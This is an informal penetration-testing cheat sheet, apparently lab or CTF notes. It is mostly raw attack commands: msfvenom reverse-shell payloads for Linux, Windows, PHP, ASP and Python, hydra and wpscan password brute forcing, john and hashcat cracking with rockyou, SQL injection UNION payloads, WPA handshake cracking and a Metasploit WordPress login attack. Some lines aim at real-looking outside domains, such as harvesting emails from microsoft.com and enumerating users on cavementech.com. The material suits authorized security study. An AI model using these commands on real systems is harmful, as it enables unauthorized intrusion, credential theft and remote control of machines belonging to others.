nmap -sC -sV -p- T4 Ip/cidr

```
ls -al /us/share/nmap/scripts | grep smb
```

Netbios enumeration with NSE scripts

```
nmap -sV -v --script nbstat.nse 192.168.18.110
```

SNMP Enumeration using snap-check

first scan the target to check open port

```
sudo nmap -sU -sV -p 161 192.168.18.110
```

Now enumerate it

```
snmp-check 192.168.18.110
```

```
hydra <username> <wordlist> MACHINE_IP http-post-form "<path>:<login_credentials>:<invalid_response>"
hydra -l <username> -P <wordlist> 10.10.37.120 http-post-form
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.87.133 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid"
Hydra -l user -P wordlist ip ssh
```

JOHN

```
john --list=formats | grep -iF "md5"
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt
```

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_to_crack.txt
```

```
unshadow local_passwd local_shadow > unshadowed.txt
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```

```
john --single --format=raw-sha256 hashes.txt <single crack>
```

```
zip2john zipfile.zip > zip_hash.txt
python /usr/share/john/ssh2john.py
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
```

```
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt    (can be used without -a)
hashid -m “ hash value \$\$”
```

```
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >hash.txt
```

```
python3 /opt/john/ssh2john.py id_rsa > id_rsa_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
```

Msfvenom cmd

Linux Executable and Linkable Format (elf)

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
```

The .elf format is comparable to the .exe format in Windows. These are executable files for Linux. However, you may still need to make sure they have executable permissions on the target machine. For example, once you have the shell.elf file on your target machine, use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.

Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
```

PHP

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
```

ASP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
```

Python

```
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
```

```
Python3 -m http.server 9000 [file upload]
wget http://<attackerIP>:8000/linenum.sh
```

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.97.79 [smb]
```

```
smbclient //10.10.97.79/anonymous [share name].     CAT or more cmd
smbclient -L //192.168.29.220 -N
enum4linux -U -o 192.168.1.200 (windows & samba)
enum4linux -a ip
ssh -i id_rsa  name@ip
[steghide extract -sf cute-alien.jpg]
```

```
aircrack-ng  -a2 -b 02:1A:11:FF:D9:BD -w /usr/share/wordlists/rockyou.txt NinjaJc01-01.cap
```

-a	amode	Force attack mode (1 = static WEP, 2 = WPA/WPA2-PSK)

```
find / -name "flag*.txt" 2>/dev/null
find / -perm -4000 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
search -f *.txt search (windows)
```

```
base64 -d Hashing-Basics/Task-8/decode-this.txt
echo “eFdpbnRlckE50TV4IQ==“ | base64 -d
```

```
meterpreter > search -f flag2.txt
```

```
ssh -o HostKeyAlgorithms=+ssh-rsa
```

```
searchsploit -m php/webapps/42033.txt
```

——————————————————

```
lsb_release -a
uname
```

```
binwalk
```

```
hashid  -m  “hash”.                {\$2a\$ya}
```

```
hash-identifier
```

```
hashcat -m 500 example500.hash /usr/share/wordlists/sqlmap.txt.  {\$2a\$ya}
```

```
sha256sum *.txt
```

```
curl -X OPTIONS http://10.10.23.226/admin -vv
```

```
gcc -o localpriv 9545.c
```

SQLi…………

```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--       [For single column]
```

'union select USERNAME_MRUQHP, PASSWORD_FJXEMX from USERS_LHXWSL--
‘union+select+USERNAME_MRUQHP, +PASSWORD_FJXEMX+from+USERS_LHXWSL--

Emails Using theHarvester

-d domains	
-l limit results	
-b source (baidu,google,etc)	

```
theHarvester -d microsoft.com -l 200 -b baidu
theHarvester -d microsoft -l 200 -b linkedin
```

WPSCAN

```
wpscan  --url https://cavementech.com/ --enumerate u
```

Now launch the Metasploit with database

```
msconsole
use auxillary/scanner/wordpress_login_enum
```

Now set the options to brute force it

```
set  PASS_FILE /usr/worlist.txt
set RHOSS 192.168.52.2
set RPORT 8080
set TARGETURI http://dddddd/login
set USERNAME admin
run
```

WPSCAN brute forcing

```
wpscan –-url http://cmnatics.playground –-passwords rockyou.txt –-usernames cmnatic
```

Nmap —script vuln ip
CVE —— nvd website
End of life of a web development language platform [eol most of the time answer is 10].